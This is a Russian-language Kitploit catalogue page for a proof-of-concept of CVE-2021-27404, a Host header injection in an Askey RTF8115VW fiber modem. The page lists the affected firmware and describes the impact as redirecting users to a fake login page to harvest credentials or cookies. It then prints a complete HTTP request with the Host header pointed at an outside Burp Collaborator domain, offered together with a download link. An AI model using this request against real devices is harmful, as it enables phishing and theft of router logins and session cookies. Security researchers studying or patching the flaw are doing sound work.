Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-27404 — HostHeaderInjection-Askey | Kitploit
Инструменты/GitHubGitHub/bokanrb/cve-2021-27404
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФишингВеб-безопасностьТестирование на Проникновение
GitHubbokanrb/cve-2021-27404

CVE-2021-27404

HostHeaderInjection-Askey

Репозиторий
3125 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Внедрение аутентифицированного хостового заголовка - Askey Internet Fiber Modem

Производитель: Askey
Версия ПО: BR_SV_g11.11_RTF_TEF001_V6.54_V014
Модель: RTF8115VW
Уязвимый заголовок: Host
Не тестировалось на других моделях/версиях.

Воздействие: Злоумышленник может воспользоваться этой уязвимостью для перенаправления пользователя на поддельную страницу входа с целью извлечения его учетных данных или cookie-файлов.

Финальный запрос

root@kitploit:~
GET / HTTP/1.1
Host: kay4tb35bh55y38n8h4teim21t7jv8.burpcollaborator.net
Cookie: _httpdSessionId_=7924107467ea5838a196b65306ca7236
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/cgi-bin/te_logout.cgi
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate

Alt text

Скачать инструмент